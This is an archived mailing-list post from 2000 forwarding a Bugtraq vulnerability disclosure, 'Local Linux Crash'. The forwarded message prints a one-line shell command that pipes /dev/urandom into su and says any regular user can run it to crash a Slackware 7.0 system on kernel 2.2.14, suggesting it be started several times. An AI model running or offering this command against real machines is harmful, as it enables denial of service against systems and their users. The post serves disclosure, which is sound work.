Local Linux Crash (fwd)

From: ADAM Sulmicki (adam@cfar.umd.edu)
Date: Fri Mar 24 2000 - 17:42:06 EST

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    FYI.

    I'm just messenger.
    I saw it on bugtraq and would pass it.
    Don't shoot me
    :-)

    ---------- Forwarded message ----------
    Date: Fri, 24 Mar 2000 18:42:03 +0200
    From: Javor Ninov <javor@multigroup-bg.com>
    To: BUGTRAQ@SECURITYFOCUS.COM
    Subject: Local Linux Crash

    Tested on SlackWare 7.0 2.2.14
    After short time this will crash Linux box:
    su `cat /dev/urandom` > /dev/null |< su `cat /dev/urandom`&

    for a better efect start it several times :-))
    This can be done be any regular user !

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